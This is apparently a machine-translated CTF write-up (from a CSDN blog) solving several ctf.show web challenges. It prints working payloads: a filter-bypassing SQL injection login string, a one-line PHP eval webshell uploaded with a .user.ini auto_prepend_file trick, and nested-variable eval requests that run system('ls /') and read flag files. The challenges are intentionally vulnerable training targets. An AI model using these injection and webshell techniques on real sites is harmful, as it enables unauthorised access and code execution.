[ctf.show-web pergunta do concurso]


ctf.show_web10

Venha para a página é uma caixa de login
insira a descrição da imagem aqui

Clique no botão cancelar, o código-fonte aparece

<?php
		$flag="";
        function replaceSpecialChar($strParam){
    
    
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
    
    
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
    
    
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
    
    
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
    
    
					while($row=mysqli_fetch_assoc($result)){
    
    
						if($password==$row['password']){
    
    
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

Muitas instruções de injeção foram filtradas.
Group by e com rollup são usados ​​principalmente aqui para combinar
group by, sem mencionar que é um arranjo, e o padrão é ordem crescente
com rollup (group by pode ser seguido por com rollup, o que significa que as estatísticas resumidas são executadas novamente com base nas estatísticas do grupo)
Haverá uma linha extra no resultado, onde a coluna de senha é nula e count (*) é a soma estatística.
Por exemplo:

select password,count(*) from test group by password with rollup;

Assim, construímos a carga útil:

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

Porque depois de adicionar com rollup, a senha tem uma linha de NULL, só precisamos inserir uma senha vazia para fazer (NULL==NULL), /**/ é usado para ignorar o filtro de espaço

insira a descrição da imagem aqui

Você pode obter a bandeira
ctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}


Dois, ctf.show_web11

Venha para a página inicial
insira a descrição da imagem aqui

Você pode ver que o código php tem muitas restrições.
Observe a maneira de obter o sinalizador $password==$_SESSION['password']. A senha é inserida por nós mesmos. A senha na sessão é armazenada localmente, portanto, precisamos apenas inserir uma senha vazia e excluir a sessão local para ignorá-lo com sucesso.

insira a descrição da imagem aqui

Obter sinalizador:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}

3. ctf.show_web12

Venha para a página inicial
insira a descrição da imagem aqui

Verifique o código-fonte primeiro
insira a descrição da imagem aqui

Há uma variável cmd de prompt, indicando que provavelmente há uma função de execução de código em segundo plano.
Insira phpinfo(); visualize as informações de configuração do php
insira a descrição da imagem aqui

Descobriu-se que muitos métodos de execução de comandos estão desabilitados.
Você também pode usar Highlight_file("index.php"); veja o código-fonte
insira a descrição da imagem aqui
Aqui está outra função php glob();
a função glob() retorna o nome do arquivo ou diretório correspondente o padrão especificado.
por exemplo:

glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件

Com este método, primeiro descobrimos todos os arquivos no diretório atual para ver se eles estão disponíveis. Input?cmd=print_r(glob(“*”)); imprima o seguinte arquivo
insira a descrição da imagem aqui
e depois leia o arquivo

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

insira a descrição da imagem aqui

Obter sinalizador:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}

4. ctf.show_web13

Venha para a página
insira a descrição da imagem aqui
e tente fazer upload do arquivo, mas não há efeito, encontre o diretório oculto
insira a descrição da imagem aqui

Upload.php encontrado, tente upload.php.bak para obter o arquivo de código-fonte

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
    
    
		die("error file zise");
	}
	if (strlen($filename)>9){
    
    
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
    
    
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
    
    
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
    
    
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
    
    
		echo "文件上传成功!";
	}else{
    
    
		echo "文件上传失败!";
	}

 ?>

Obteve o código-fonte e descobriu que o tamanho do arquivo restritivo é <=24, o comprimento do nome é <=9, o comprimento do sufixo é <=3 e o nome e o sufixo não podem ter php, então tal cavalo de Tróia pode ser
construído

<?php eval($_POST['a']);

Devido ao sufixo, carregue primeiro 2.txt
insira a descrição da imagem aqui
e depois carregue o arquivo .user.ini.
O .user.ini no php tem a seguinte explicação:
o PHP irá procurar o nome do arquivo em cada diretório, se estiver configurado para uma string vazia o PHP não irá buscar, ou seja, se o nome do arquivo estiver configurado em .user. ini , qualquer página incluirá o conteúdo do arquivo.
Entramos auto_prepend_file = 2.txt em .user.ini, para que todos os arquivos neste diretório contenham o conteúdo de 2.txt
//
Depois que a espada for conectada, descobrimos que não há permissão para operar o arquivo, então entramos diretamente na página da web Procure a bandeira em.
Enviar com POST

a=print_r(glob("*"));

Em seguida, use Highlight_file () para obter o sinalizador

a=highlight_file("文件名");

5. Copo para Legumes

1. Login na Web

venha para a página
insira a descrição da imagem aqui

o código

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

Estou tentando há muito tempo, isso é realmente uma pergunta de login? Depois de ler o wp do grandalhão, resumir
a investigação é: a relação entre o método de solicitação e a atribuição, bem como a codificação chinesa do campo Cookie.

O principal motivo é o uso do último cavalo de Tróia de uma frase, que tem muitos aninhamentos. Vamos dar uma olhada: primeiro,
a parte mais interna é 'CTFshow-QQ group:', e a frente é $_COOKIE, ou seja, o 'grupo CTFshow-QQ' no cookie é obtido. O valor;
então, se o passarmos no cookie CTFshow-QQ群:=a, o cavalo de Tróia de uma frase se tornará:

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

Então $_POST[a] é o valor do parâmetro a ser passado pelo POST, vamos passar em a=b, então fica:

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

$_GET[b] é passar o valor do parâmetro b no modo GET e, em seguida, atribuir um valor a b b=cpara obter:

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

$_REQUEST[c][6][0][7][5][8][0][9][4][4], que $_REQUESTpode ser solicitado de qualquer forma, c é um array e o valor passado na solicitação $_REQUEST é o [6][0][7][5][8][0][9][4][4]valor da chave de ID no array C. Como as matrizes PHP podem atribuir valores às chaves de ID,
podemos atribuir valores diretamente a essas chaves na matriz C:
c[6][0][7][5][8][0][9][4][4]= system('ls /');

Então usamos o formulário POST para enviar o pacote, e preste atenção “群”para usar url encoding %E7%BE%A4, caso contrário o burp não irá reconhecê-lo (ao atribuir um valor a c, pode ser colocado no cabeçalho da requisição ou na entidade requisição, pois a requisição request pode estar na forma de get ou post. accept)

Aqui eu uso o hackbar convenientemente,
insira a descrição da imagem aqui
então pegamos o arquivo flagaaa, digitamos o comando cat /f1agaaapara pegar o sinalizador
insira a descrição da imagem aqui
e ganhamos muito

2.web2 c0me_t0_s1gn

Quando cheguei à página
insira a descrição da imagem aqui
, fui informado de que havia informações a serem encontradas. Tentei usar Yujian e dirsearch para encontrar o diretório, mas não consegui encontrá-lo. Vi o código-fonte da página mais tarde. Eu vi
insira a descrição da imagem aqui
algumas informações sobre o sinalizador e seguiram o prompt específico para o console. Ele solicitou que
insira a descrição da imagem aqui
o método de operação encontrasse o sinalizador e
insira a descrição da imagem aqui
o encontrasse após a execução. As informações na segunda metade do sinalizador podem ser emendadas.

3. Eu só tenho $ em meus olhos

venha para a página
insira a descrição da imagem aqui

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

Você pode ver que o método post é usado para passar parâmetros. Aqui estamos examinando o aninhamento de variáveis, uma série de $variáveis, a variável inicial deve ser _, então precisamos definir as variáveis ​​por sua vez e atribuí-las ao comando declaração de execução depois de fazê-lo, system('ls /');e as variáveis ​​não podem ser repetidas

Não é muito bom em escrever roteiros, consulte o grandalhão

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')

insira a descrição da imagem aqui
Modifique o comando para obter o sinalizador

insira a descrição da imagem aqui


Resumir

Acompanhamento continuará a compartilhar notas ctfshow

Acho que você gosta

Origin blog.csdn.net/qq_61872115/article/details/129690257
Recomendado
Clasificación